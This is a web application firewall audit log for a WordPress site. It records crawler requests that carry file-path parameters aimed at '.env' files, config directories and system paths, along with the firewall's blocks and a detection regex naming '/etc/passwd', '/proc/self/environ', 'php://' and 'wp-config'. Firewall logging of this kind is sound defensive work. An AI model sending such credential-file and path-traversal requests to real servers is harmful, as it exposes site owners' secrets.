{"transaction":{"time":"13/Mar/2026:10:02:50.425757 +0100","transaction_id":"abPSuhuPle8UYRaPh9L68gAAAU0","remote_address":"216.73.216.152","remote_port":48106,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco.net%2Fsingle-product.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f84813f6cda4adb15bab6969098acdf6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11832513"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f84813f6cda4adb15bab6969098acdf6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco.net/single-product.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":170,"p2":1602,"p3":0,"p4":0,"p5":272,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.478197 +0100","transaction_id":"abPSuhuPle8UYRaPh9L68wAAAU0","remote_address":"216.73.216.152","remote_port":48106,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco.net%2Fshop.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c5c8eb42995cb7f94c9a134b95afe966","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6560604"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c5c8eb42995cb7f94c9a134b95afe966","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco.net/shop.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":170,"p2":1616,"p3":0,"p4":0,"p5":272,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.541612 +0100","transaction_id":"abPSun29rYkRMjwGQQbNvgAAAII","remote_address":"216.73.216.152","remote_port":44218,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco.net%2Fhome-2.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"44e9b3b557f8bea1d6e04bd014a9cc2c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4427143"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"44e9b3b557f8bea1d6e04bd014a9cc2c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco.net/home-2.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":163,"p2":1627,"p3":0,"p4":0,"p5":363,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.586540 +0100","transaction_id":"abPSun29rYkRMjwGQQbNvwAAAII","remote_address":"216.73.216.152","remote_port":44218,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsite_data_2024%2Fconfig HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"eb1cbd2fde9e2f1d3e5daa70eb44b750","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4427146"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"eb1cbd2fde9e2f1d3e5daa70eb44b750","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/site_data_2024/config& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":173,"p2":1757,"p3":0,"p4":0,"p5":358,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:50.625400 +0100","transaction_id":"abPSun29rYkRMjwGQQbNwAAAAII","remote_address":"216.73.216.152","remote_port":44218,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito2%2Fconfig HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"057dd8f2fc7de82b585055f1bf392f9a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6560612"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"057dd8f2fc7de82b585055f1bf392f9a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito2/config& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":179,"p2":1667,"p3":0,"p4":0,"p5":402,"sr":109,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:03:47.766120 +0100","transaction_id":"abPS8xuPle8UYRaPh9L7vgAAAUw","remote_address":"216.73.216.152","remote_port":49176,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2%2F.env HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a683439129c74688e4a6a9c41de9c935","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13895242"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a683439129c74688e4a6a9c41de9c935","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPS8xuPle8UYRaPh9L7vgAAAUw\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"/.env\" at REQUEST_URI."},"stopwatch":{"p1":225,"p2":4496,"p3":0,"p4":0,"p5":413,"sr":211,"sw":112,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:03:47.824966 +0100","transaction_id":"abPS8z9srhFspgypfcBX-QAAAlA","remote_address":"216.73.216.152","remote_port":59118,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsite_data_2024%2F.env HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"66f0e739f15c9ecf93a7009edeb57203","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13895245"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"66f0e739f15c9ecf93a7009edeb57203","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPS8z9srhFspgypfcBX-QAAAlA\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"/.env\" at REQUEST_URI."},"stopwatch":{"p1":334,"p2":4017,"p3":0,"p4":0,"p5":380,"sr":183,"sw":99,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:04:00.629046 +0100","transaction_id":"abPTAHhj1Fyg-cNIPthAHAAAA4w","remote_address":"57.141.20.16","remote_port":47936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/en_US/LC_ADDRESS HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"49cebb29b595a6051590e3aedaa163ac","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4526830"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"49cebb29b595a6051590e3aedaa163ac","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/en_US/LC_ADDRESS||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":188,"p2":3745,"p3":0,"p4":0,"p5":283,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:04:53.415475 +0100","transaction_id":"abPTNX29rYkRMjwGQQbOdgAAAJg","remote_address":"114.119.145.169","remote_port":57544,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/117590551 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.145.169","X-Forwarded-Proto":"http","X-Request-Id":"05ba0e125cceb5d933689075de0a471d","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12812806","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"05ba0e125cceb5d933689075de0a471d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":221,"p2":4645,"p3":0,"p4":0,"p5":234,"sr":115,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:07:33.133600 +0100","transaction_id":"abPT1Db3wvxkMAdFF6gZrwAAAFU","remote_address":"114.119.150.95","remote_port":36868,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/30422451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"bd056249c4bf815f3e68b8b0851a245d","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15139015","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"bd056249c4bf815f3e68b8b0851a245d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":180,"p2":3239,"p3":0,"p4":0,"p5":340,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:09:22.547687 +0100","transaction_id":"abPUQX29rYkRMjwGQQbQqAAAAI8","remote_address":"57.141.20.53","remote_port":47616,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/pt_BR/LC_MESSAGES/dialog.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"d551d446993d1b749a9e1b3dc6d7c3e7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14322667"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d551d446993d1b749a9e1b3dc6d7c3e7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/pt_BR/LC_MESSAGES/dialog.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":325,"p2":9596,"p3":0,"p4":0,"p5":456,"sr":179,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:10:23.477843 +0100","transaction_id":"abPUfT9srhFspgypfcBa5gAAAkM","remote_address":"57.141.20.54","remote_port":45382,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/stc_l.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"72d42faa8907f60f1287cc6bc55d8a1c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11176874"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"72d42faa8907f60f1287cc6bc55d8a1c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/stc_l.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":313,"p2":5280,"p3":0,"p4":0,"p5":370,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
